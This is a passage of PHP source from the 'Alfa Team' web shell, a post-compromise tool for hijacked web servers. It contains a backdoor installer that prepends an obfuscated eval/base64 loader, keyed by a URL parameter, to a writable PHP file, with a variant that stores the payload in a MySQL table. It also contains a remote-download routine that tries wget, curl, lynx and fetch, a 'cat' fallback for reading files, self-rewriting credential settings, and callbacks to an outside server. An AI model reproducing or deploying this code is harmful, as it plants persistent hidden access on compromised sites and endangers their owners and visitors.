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';
  1268. return 'data:image/png;base64,' . __get_resource($s[$r]);
  1269. }
  1270. function alfainbackdoor()
  1271. {
  1272. alfahead();
  1273. echo '<div class=header><center><p><div class="txtfont_header">| Install BackDoor |</div></p><h3><a href=javascript:void(0) onclick="g(\'inbackdoor\',null,\'file\')">| In File | </a><a href=javascript:void(0) onclick="g(\'inbackdoor\',null,\'db\')">| In DataBase | </a></h3></center>';
  1274. $error = '<font color="red">Error In Inject BackDoor...!<br>File Loader is not Writable Or Not Exists...!</font>';
  1275. $success = '<font color="green">Success...!';
  1276. $textarea = "<div style='display:none;' id='backdoor_textarea'><div class='txtfont'>Your Shell:</div><p><textarea name='shell' rows='19' cols='103'><?php\n\techo('Alfa Team is Here...!');\n?></textarea></p></div>";
  1277. $select = "<div class='txtfont'>Use:</div> <select name='method' style='width:155px;' onChange='inBackdoor(this);'><option value='alfa'>Alfa Team Uploader</option><option value='my'>My Private Shell</option></select>";
  1278. $cwd = 'Example: /home/alfa/public_html/index.php';
  1279. if ($_POST['alfa1'] == 'file') {
  1280. echo ("<center><p><div class='txtfont_header'>| In File |</div></p><p><form onsubmit=\"g('inbackdoor',null,'file',this.method.value,this.file.value,this.shell.value,this.key.value);return false;\">{$select} <div class='txtfont'>Backdoor Loader:</div> <input type='text' name='file' size='50' placeholder='{$cwd}'> <div class='txtfont'>Key: </div> <input type='text' name='key' size='10' value='alfa'> <input type='submit' value=' '>{$textarea}</form></p></center>");
  1281. if ($_POST['alfa2'] != '' && $_POST['alfa3'] != '' && $_POST['alfa4'] != '') {
  1282. $method = $_POST['alfa2'];
  1283. $file = $_POST['alfa3'];
  1284. $shell = $_POST['alfa4'];
  1285. $key = str_replace(array(
  1286. '"',
  1287. '\''
  1288. ), '', trim($_POST['alfa5']));
  1289. if ($key == '')
  1290. $key = 'alfa';
  1291. if ($method == 'my') {
  1292. $shell = __ZW5jb2Rlcg($shell);
  1293. } else {
  1294. $shell = $GLOBALS['__ALFA_SHELL_CODE'];
  1295. }
  1296. $code = '<?php if(isset($_GET["alfa"])&&$_GET["alfa"]=="' . $key . '"){$func="cr"."ea"."te_"."fun"."ction";$x=$func("\$c","e"."v"."al"."(\'?>\'.base"."64"."_dec"."ode(\$c));");$x("' . $shell . '");exit;}?>';
  1297. if (@is_file($file) && @is_writable($file)) {
  1298. @file_put_contents($file, $code . "\n" . @file_get_contents($file));
  1299. __alert($success . "<br>Run With: " . basename($file) . "?alfa=" . $key . '</font>');
  1300. } else {
  1301. __alert($error);
  1302. }
  1303. }
  1304. }
  1305. if ($_POST['alfa1'] == 'db') {
  1306. echo ("<center><p><div class='txtfont_header'>| In DataBase |</div></p>" . getConfigHtml('all') . "<p><form onsubmit=\"g('inbackdoor',null,'db',this.db_host.value,this.db_username.value,this.db_password.value,this.db_name.value,this.file.value,this.method.value,this.shell.value,this.key.value);return false;\">");
  1307. $table = array(
  1308. 'td1' => array(
  1309. 'color' => 'FFFFFF',
  1310. 'tdName' => 'db_host : ',
  1311. 'inputName' => 'db_host',
  1312. 'id' => 'db_host',
  1313. 'inputValue' => 'localhost',
  1314. 'inputSize' => '50'
  1315. ),
  1316. 'td2' => array(
  1317. 'color' => 'FFFFFF',
  1318. 'tdName' => 'db_username : ',
  1319. 'inputName' => 'db_username',
  1320. 'id' => 'db_user',
  1321. 'inputValue' => '',
  1322. 'inputSize' => '50'
  1323. ),
  1324. 'td3' => array(
  1325. 'color' => 'FFFFFF',
  1326. 'tdName' => 'db_password : ',
  1327. 'inputName' => 'db_password',
  1328. 'id' => 'db_pw',
  1329. 'inputValue' => '',
  1330. 'inputSize' => '50'
  1331. ),
  1332. 'td4' => array(
  1333. 'color' => 'FFFFFF',
  1334. 'tdName' => 'db_name : ',
  1335. 'inputName' => 'db_name',
  1336. 'id' => 'db_name',
  1337. 'inputValue' => '',
  1338. 'inputSize' => '50'
  1339. ),
  1340. 'td5' => array(
  1341. 'color' => 'FFFFFF',
  1342. 'tdName' => 'Backdoor Loader: ',
  1343. 'inputName' => 'file',
  1344. 'inputValue' => $cwd,
  1345. 'inputSize' => '50',
  1346. 'placeholder' => true
  1347. ),
  1348. 'td6' => array(
  1349. 'color' => 'FFFFFF',
  1350. 'tdName' => 'Key: ',
  1351. 'inputName' => 'key',
  1352. 'inputValue' => 'alfa',
  1353. 'inputSize' => '50'
  1354. )
  1355. );
  1356. create_table($table);
  1357. echo ("<p>{$select}</p>");
  1358. echo ($textarea);
  1359. echo ("<p><input type='submit' value=' '></p></form></p></center>");
  1360. if ($_POST['alfa2'] != '' && $_POST['alfa3'] != '' && $_POST['alfa5'] != '' && $_POST['alfa6'] != '') {
  1361. $dbhost = $_POST['alfa2'];
  1362. $dbuser = $_POST['alfa3'];
  1363. $dbpw = $_POST['alfa4'];
  1364. $dbname = $_POST['alfa5'];
  1365. $file = $_POST['alfa6'];
  1366. $method = $_POST['alfa7'];
  1367. $shell = $_POST['alfa8'];
  1368. $key = str_replace(array(
  1369. '"',
  1370. '\''
  1371. ), '', trim($_POST['alfa9']));
  1372. if ($key == '')
  1373. $key = 'alfa';
  1374. if ($method == 'my') {
  1375. $shell = __ZW5jb2Rlcg($shell);
  1376. } else {
  1377. $shell = $GLOBALS['__ALFA_SHELL_CODE'];
  1378. }
  1379. if ($conn = mysqli_connect($dbhost, $dbuser, $dbpw, $dbname)) {
  1380. $code = '<?php if(isset($_GET["alfa"])&&$_GET["alfa"]=="' . $key . '"){$conn=mysqli_connect("' . str_replace('"', '\"', $dbhost) . '","' . str_replace('"', '\"', $dbuser) . '","' . str_replace('"', '\"', $dbpw) . '","' . str_replace('"', '\"', $dbname) . '");$q=mysqli_query($conn,"SELECT `code` FROM alfa_bc LIMIT 0,1");$r=mysqli_fetch_assoc($q);$func="cr"."ea"."te_"."fun"."ction";$x=$func("\$c","e"."v"."al"."(\'?>\'.base"."64"."_dec"."ode(\$c));");$x($r["code"]);exit;}?>';
  1381. if (@is_file($file) && @is_writable($file)) {
  1382. @mysqli_query($conn, 'DROP TABLE `alfa_bc`');
  1383. @mysqli_query($conn, 'CREATE TABLE `alfa_bc` (code LONGTEXT)');
  1384. @mysqli_query($conn, 'INSERT INTO `alfa_bc` VALUES("' . $shell . '")');
  1385. @file_put_contents($file, $code . "\n" . @file_get_contents($file));
  1386. __alert($success . "<br>Run With: " . basename($file) . "?alfa=" . $key . '</font>');
  1387. } else {
  1388. __alert($error);
  1389. }
  1390. }
  1391. }
  1392. }
  1393. echo ('</div>');
  1394. alfafooter();
  1395. }
  1396. function alfawhois()
  1397. {
  1398. echo ("<div class='header'><center><p><div class='txtfont_header'>| Whois |</div></p><p><form onsubmit=\"g('whois',null,this.url.value,'>>');return false;\"><div class='txtfont'>Url: </div> <input type='text' name='url' style='text-align:center;' size='50' placeholder='google.com'> <input type='submit' value=' '></form></p></center>");
  1399. if ($_POST['alfa2'] == '>>' && !empty($_POST['alfa1'])) {
  1400. $site = str_replace(array(
  1401. 'http://',
  1402. 'https://',
  1403. 'www.',
  1404. 'ftp://'
  1405. ), '', $_POST['alfa1']);
  1406. $target = 'http://api.whoapi.com/?apikey=093b6cb9e6ea724e101928647df3e009&r=whois&domain=' . $site;
  1407. $data = @file_get_contents($target);
  1408. if ($data == '') {
  1409. $get = new AlfaCURL();
  1410. $get->ssl = true;
  1411. $data = $get->Send($target);
  1412. }
  1413. $target = @json_decode($data, true);
  1414. echo __pre();
  1415. if (is_array($target)) {
  1416. echo ($target["whois_raw"]);
  1417. } else {
  1418. echo alfaEx("whois " . $site);
  1419. }
  1420. }
  1421. echo ("</div>");
  1422. }
  1423. function alfaremotedl()
  1424. {
  1425. alfahead();
  1426. echo ("<div class='header'><center><p><div class='txtfont_header'>| Upload From Url |</div></p><p><form onsubmit=\"g('remotedl',null,this.d.value,this.p.value,'>>');return false;\"><p><div class='txtfont'>Url: </div>&nbsp;&nbsp;&nbsp;<input type='text' name='d' size='50'></p><div class='txtfont'>Path:</div> <input type='text' name='p' size='50' value='" . $GLOBALS['cwd'] . "'><p><input type='submit' value=' '></p></form></p></center>");
  1427. if (isset($_POST['alfa1'], $_POST['alfa2'], $_POST['alfa3']) && !empty($_POST['alfa1']) && $_POST['alfa3'] == '>>') {
  1428. echo __pre();
  1429. $url = $_POST['alfa1'];
  1430. $path = $_POST['alfa2'];
  1431. echo ('<center>');
  1432. if (__download($url, $path)) {
  1433. echo ('<font color="green">Success...!</font>');
  1434. } else {
  1435. echo ('<font color="red">Error...!</font>');
  1436. }
  1437. echo ('</center>');
  1438. }
  1439. echo ("</div>");
  1440. alfafooter();
  1441. }
  1442. function __download($url, $path = false)
  1443. {
  1444. if (!preg_match("/[a-z]+:\/\/.+/", $url))
  1445. return false;
  1446. $saveas = basename(rawurldecode($url));
  1447. if ($path) {
  1448. $saveas = $path . $saveas;
  1449. }
  1450. if ($content = __read_file($url)) {
  1451. if (@is_file($saveas))
  1452. @unlink($saveas);
  1453. if (__write_file($saveas, $content)) {
  1454. return true;
  1455. }
  1456. }
  1457. $buff = alfaEx("wget " . $url . " -O " . $saveas);
  1458. if (@is_file($saveas))
  1459. return true;
  1460. $buff = alfaEx("curl " . $url . " -o " . $saveas);
  1461. if (@is_file($saveas))
  1462. return true;
  1463. $buff = alfaEx("lwp-download " . $url . " " . $saveas);
  1464. if (@is_file($saveas))
  1465. return true;
  1466. $buff = alfaEx("lynx -source " . $url . " > " . $saveas);
  1467. if (@is_file($saveas))
  1468. return true;
  1469. $buff = alfaEx("GET " . $url . " > " . $saveas);
  1470. if (@is_file($saveas))
  1471. return true;
  1472. $buff = alfaEx("links -source " . $url . " > " . $saveas);
  1473. if (@is_file($saveas))
  1474. return true;
  1475. $buff = alfaEx("fetch -o " . $saveas . " -p " . $url);
  1476. if (@is_file($saveas))
  1477. return true;
  1478. return false;
  1479. }
  1480. function clean_string($string)
  1481. {
  1482. if (function_exists("iconv")) {
  1483. $s = trim($string);
  1484. $s = iconv("UTF-8", "UTF-8//IGNORE", $s);
  1485. }
  1486. return $s;
  1487. }
  1488. function __read_file($file, $boom = true)
  1489. {
  1490. $content = false;
  1491. if ($fh = @fopen($file, "rb")) {
  1492. $content = "";
  1493. while (!feof($fh)) {
  1494. $content .= $boom ? clean_string(fread($fh, 8192)) : fread($fh, 8192);
  1495. }
  1496. }
  1497. if (empty($content) || !$content) {
  1498. $content = alfaEx("cat '" . addslashes($file) . "'");
  1499. }
  1500. return $content;
  1501. }
  1502. function alfaSettings()
  1503. {
  1504. alfahead();
  1505. echo '<div class=header><center><p><div class="txtfont_header">| Settings |</div></p><h3><a href=javascript:void(0) onclick="g(\'settings\',null,null,null,null,null,null,null,null,\'main\')">| Generall Setting | </a><a href=javascript:void(0) onclick="g(\'settings\',null,null,null,null,null,null,null,null,\'color\')">| Change Color | </a></h3></center>';
  1506. if ($_POST["alfa8"] == "main") {
  1507. echo '<p><center><div class="txtfont_header">| Settings |</div></p><form onSubmit="reloadSetting(this);return false;" method=\'post\'>';
  1508. $lg_array = array(
  1509. '0' => 'No',
  1510. '1' => 'Yes'
  1511. );
  1512. $penc_array = array(
  1513. 'false' => 'No',
  1514. 'true' => 'Yes'
  1515. );
  1516. $protect_html = "";
  1517. $icon_html = "";
  1518. $postEnc_html = "";
  1519. $login_html = "";
  1520. foreach ($lg_array as $key => $val)
  1521. $protect_html .= '<option value="' . $key . '" ' . ($GLOBALS['DB_NAME']['safemode'] == '1' ? 'selected' : '') . '>' . $val . '</option>';
  1522. foreach ($lg_array as $key => $val)
  1523. $icon_html .= '<option value="' . $key . '" ' . ($GLOBALS['DB_NAME']['show_icons'] == '1' ? 'selected' : '') . '>' . $val . '</option>';
  1524. foreach ($penc_array as $key => $val)
  1525. $postEnc_html .= '<option value="' . $key . '" ' . (!empty($_POST['alfa7']) && $_POST['alfa7'] == $key ? "selected" : (__ALFA_POST_ENCRYPTION__ && empty($_POST['alfa7']) ? 'selected' : '')) . '>' . $val . '</option>';
  1526. $lg_array = array(
  1527. "gui" => "GUI",
  1528. "500" => "500 Internal Server Error",
  1529. "403" => "403 Forbidden",
  1530. "404" => "404 NotFound"
  1531. );
  1532. foreach ($lg_array as $key => $val)
  1533. $login_html .= '<option value="' . $key . '" ' . ($GLOBALS['DB_NAME']['login_page'] == $key ? 'selected' : '') . '>' . $val . '</option>';
  1534. echo '';
  1535. echo '<table border="1"><tbody><tr><td><div class="tbltxt" style="color:#FFFFFF">Protect:</div></td><td><select name="protect" style="width:100%;">' . $protect_html . '</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Post Encryption:</div></td><td><select name="post_encrypt" style="width:100%;">' . $postEnc_html . '</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Show Icons:</div></td><td><select name="icon" style="width:100%;">' . $icon_html . '</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">login Page:</div></td><td><select style="width:100%;" name="lgpage">' . $login_html . '</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">UserName:</div></td><td><input type="text" style="width:95%;" name="username" value="' . (empty($_POST['alfa3']) ? $GLOBALS['DB_NAME']['user'] : $_POST['alfa3']) . '" placeholder="solevisible"></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Password:</div></td><td><input type="text" style="width:95%;" name="password" placeholder="*****"></td></tr></tbody></table><input type="hidden" name="e" value="' . $GLOBALS['DB_NAME']['safemode'] . '"><input type="hidden" name="s" value="' . $GLOBALS['DB_NAME']['show_icons'] . '"><p><input type="submit" name="btn" value=" "></p></form></center>';
  1536. if ($_POST['alfa5'] == '>>') {
  1537. echo __pre();
  1538. if (!empty($_POST['alfa3'])) {
  1539. $protect = $_POST['alfa1'];
  1540. $lgpage = $_POST['alfa2'];
  1541. $username = $_POST['alfa3'];
  1542. $password = md5($_POST['alfa4']);
  1543. $icon = $_POST['alfa6'];
  1544. $post_encrypt = $_POST['alfa7'];
  1545. @chdir($GLOBALS['home_cwd']);
  1546. $basename = @basename($_SERVER['PHP_SELF']);
  1547. $data = @file_get_contents($basename);
  1548. $find_user = '/\'user\'(.*?),/i';
  1549. $find_pw = '/\'pass\'(.*?),/i';
  1550. $find_lg = '/\'login_page\'(.*?),/i';
  1551. $find_p = '/\'safemode\'(.*?),/i';
  1552. $icons = '/\'show_icons\'(.*?),/i';
  1553. $postEnc = '/\'post_encryption\'(.*?),/i';
  1554. if (!empty($username) && preg_match($find_user, $data, $e)) {
  1555. $new = '\'user\' => \'' . $username . '\',';
  1556. $data = str_replace($e[0], $new, $data);
  1557. }
  1558. if (!empty($_POST['alfa4']) && preg_match($find_pw, $data, $e)) {
  1559. $new = '\'pass\' => \'' . $password . '\',';
  1560. $data = str_replace($e[0], $new, $data);
  1561. }
  1562. if (!empty($lgpage) && preg_match($find_lg, $data, $e)) {
  1563. $new = '\'login_page\' => \'' . $lgpage . '\',';
  1564. $data = str_replace($e[0], $new, $data);
  1565. }
  1566. if (!empty($find_p) && preg_match($find_p, $data, $e)) {
  1567. $new = '\'safemode\' => \'' . $protect . '\',';
  1568. $data = str_replace($e[0], $new, $data);
  1569. }
  1570. if (preg_match($icons, $data, $e)) {
  1571. $new = '\'show_icons\' => \'' . $icon . '\',';
  1572. $data = str_replace($e[0], $new, $data);
  1573. }
  1574. if (preg_match($postEnc, $data, $e)) {
  1575. $new = '\'post_encryption\' => ' . $post_encrypt . ',';
  1576. $data = str_replace($e[0], $new, $data);
  1577. }
  1578. if (@file_put_contents($basename, $data)) {
  1579. echo '<b>UserName: </b><font color="green"><b>' . $username . '</b></font><br /><b>Password: </b><font color="green"><b>' . $_POST['alfa4'] . '</b></font><script>post_encryption_mode = ' . $post_encrypt . ';</script>';
  1580. } else {
  1581. __alert("<span style='color:red;'>File has no edit access...!</span>");
  1582. }
  1583. } else {
  1584. __alert("<span style='color:red;'>UserName is Empty !</span>");
  1585. }
  1586. }
  1587. } elseif ($_POST["alfa8"] == "color") {
  1588. echo ('<center><p><div class="txtfont_header">| Custom Color |</div></p><form onSubmit="reloadColors();return false;" method=\'post\'>');
  1589. echo '<table border="1"><tbody>';
  1590. $template = '<tr><td style="text-align:center;"><a href="http://solevisible.com/customcolors/{help}.png" target="_blank"><font color="#00FF00">Help</font></a></td><td style="text-align:center;"><div class="tbltxt">{index}</div></td><td><div class="tbltxt" style="margin-left:5px;">{target}:</div></td><td><input style="width:60px;" multi="{multi}" id="gui_{target}" onChange="colorHandler(this);" target=".{target}" type="color" value="{color}"></td><td><input type="text" style="text-align:center;" multi="{multi}" onkeyup="colorHandlerKey(this);" target=".{target}" id="input_{target}" class="colors_input" placeholder="#ffffff" value="{color}"></td></tr>';
  1591. $x = 1;
  1592. foreach ($GLOBALS['__ALFA_COLOR__'] as $key => $value) {
  1593. $multi = "";
  1594. if (is_array($value)) {
  1595. if (isset($value["multi_selector"])) {
  1596. $multi = __ZW5jb2Rlcg(json_encode($value));
  1597. }
  1598. }
  1599. $value = alfa_getColor($key);
  1600. $help = strtolower(str_replace(array(
  1601. ":",
  1602. "+"
  1603. ), array(
  1604. "_",
  1605. "_plus"
  1606. ), $key));
  1607. echo str_replace(array(
  1608. "{index}",
  1609. "{target}",
  1610. "{color}",
  1611. "{multi}",
  1612. "{help}"
  1613. ), array(
  1614. $x++,
  1615. $key,
  1616. $value,
  1617. $multi,
  1618. $help
  1619. ), $template);
  1620. }
  1621. echo '<tr><td style="text-align:center;">-</td><td style="text-align:center;"><div class="tbltxt">*</div></td><td><div style="margin-left:5px;" class="tbltxt">Use Default Color:</div></td><td></td><td><center><input type="checkbox" id="use_default_color" value="1"></center></td></tr>';
  1622. echo '</tbody></table><p><input type="submit" name="btn" value=" "></p></form><p><button style="padding:4px;;margin-right:20px;" onclick="$(\'importFileBtn\').click();" class="button"> Import </button> <button style="padding:4px;margin-left:20px;" onclick="g(\'settings\',null,null,null,null,null,null,null,\'export\',\'color\')" class="button"> Export </button></center></p>';
  1623. if ($_POST['alfa7'] == 'export') {
  1624. echo __pre();
  1625. $colors = is_array($GLOBALS["DB_NAME"]["color"]) ? $GLOBALS["DB_NAME"]["color"] : array();
  1626. $glob_colors = $GLOBALS["__ALFA_COLOR__"];
  1627. $array = array();
  1628. foreach ($glob_colors as $k => $v) {
  1629. if (isset($colors[$k]) && !empty($colors[$k]) && !$is_default) {
  1630. $v = trim($colors[$k]);
  1631. } else {
  1632. $v = trim(is_array($v) ? $v["key_color"] : $v);
  1633. }
  1634. $array[$k] = $v;
  1635. }
  1636. $file = "alfa_color_config_" . date('Y-m-d-h_i_s') . ".conf";
  1637. $config = json_encode($array, JSON_PRETTY_PRINT);
  1638. if (!@file_put_contents($file, $config)) {
  1639. echo ('<p><center>Color Config:<br><br><textarea rows="12" cols="70" type="text">' . $config . '</textarea></center></p>');
  1640. } else {
  1641. echo ('<h3><p><center><a class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\'' . $file . '\', \'download\')"><font color="#0F0">Download Config</font></a></center></p></h3>');
  1642. }
  1643. }
  1644. if ($_POST['alfa2'] == '>>') {
  1645. echo __pre();
  1646. $colors = json_decode($_POST["alfa1"], true);
  1647. $array = "";
  1648. $is_default = isset($_POST["alfa3"]) && $_POST["alfa3"] == "1" ? true : false;
  1649. $glob_colors = $GLOBALS["__ALFA_COLOR__"];
  1650. foreach ($glob_colors as $k => $v) {
  1651. if (isset($colors[$k]) && !empty($colors[$k]) && !$is_default) {
  1652. $v = trim($colors[$k]);
  1653. } else {
  1654. $v = trim(is_array($v) ? $v["key_color"] : $v);
  1655. }
  1656. $array .= '"' . trim($k) . '" => "' . $v . '",';
  1657. }
  1658. @chdir($GLOBALS['home_cwd']);
  1659. $basename = @basename($_SERVER['PHP_SELF']);
  1660. $data = @file_get_contents($basename);
  1661. $color = '/\'color\'(.*?)\),/s';
  1662. if (preg_match($color, $data, $e)) {
  1663. $new = "'color' => array(" . $array . "),";
  1664. $data = str_replace($e[0], $new, $data);
  1665. if (@file_put_contents($basename, $data)) {
  1666. echo ("<center><p><h3>[+] Success...</h3></p></center><script>location.reload();</script>");
  1667. } else {
  1668. echo ("<center><p><h3>[-] We Not have permission to Edit shell...!</h3></p></center>");
  1669. }
  1670. } else {
  1671. echo ("<center><p><h3>[-] Error...!</h3></p></center>");
  1672. }
  1673. }
  1674. }
  1675. echo ('</div>');
  1676. alfafooter();
  1677. }
  1678. function alfaplus()
  1679. {
  1680. alfahead();
  1681. echo '<div class="header"><center><p><div class="txtfont_header">| Alfa + |</div></p><center><h3><a href=javascript:void(0) onclick="g(\'plus\',null,\'news\');">| News | </a><a href=javascript:void(0) onclick="g(\'plus\',null,\'tools\')">| Tools | </a><a href=javascript:void(0) onclick="g(\'plus\',null,\'about\')">| About Us | </a></h3></center>';
  1682. if ($_POST['alfa1'] == 'news' || $_POST['alfa1'] == 'tools') {
  1683. try {
  1684. $s1 = 'http://solevisible.com/' . ($_POST['alfa1'] == 'news' ? 'news.php' : 'tools.php');
  1685. $msg = "<center><font color='red'><b><p>Can`t Connect to Remote Server ...!<br>Please Try Again Later...!</p></b></font></center>";
  1686. $news = new AlfaCURL();
  1687. if ($news->Send($s1)) {
  1688. $xml = $news->Send($s1);
  1689. } else {
  1690. $xml = false;
  1691. }
  1692. if ($xml) {
  1693. if (@simplexml_load_string($xml)) {
  1694. $doc = new DOMDocument;
  1695. $doc->loadXML($xml);
  1696. $data = $doc->getElementsByTagName('data')->item(0);
  1697. $items = $data->getElementsByTagName('item');
  1698. foreach ($items as $item) {
  1699. $title = $item->getElementsByTagName('title')->item(0)->nodeValue;
  1700. $description = $item->getElementsByTagName('description')->item(0)->nodeValue;
  1701. $link = $item->getElementsByTagName('link')->item(0)->nodeValue;
  1702. $pubDate = $item->getElementsByTagName('pubDate')->item(0)->nodeValue;
  1703. echo (__pre() . "<center><a href='$link' target='_blank'>$title</a><br>$description<br><small><font color='#FFFFFF'><b>Date: $pubDate</b></font></small></center></pre>");
  1704. }
  1705. } else {
  1706. echo ($msg);
  1707. }
  1708. } else {
  1709. echo ($msg);
  1710. }
  1711. }
  1712. catch (Exception $e) {
  1713. echo $e->getMessage();
  1714. }
  1715. } elseif ($_POST['alfa1'] == 'about') {
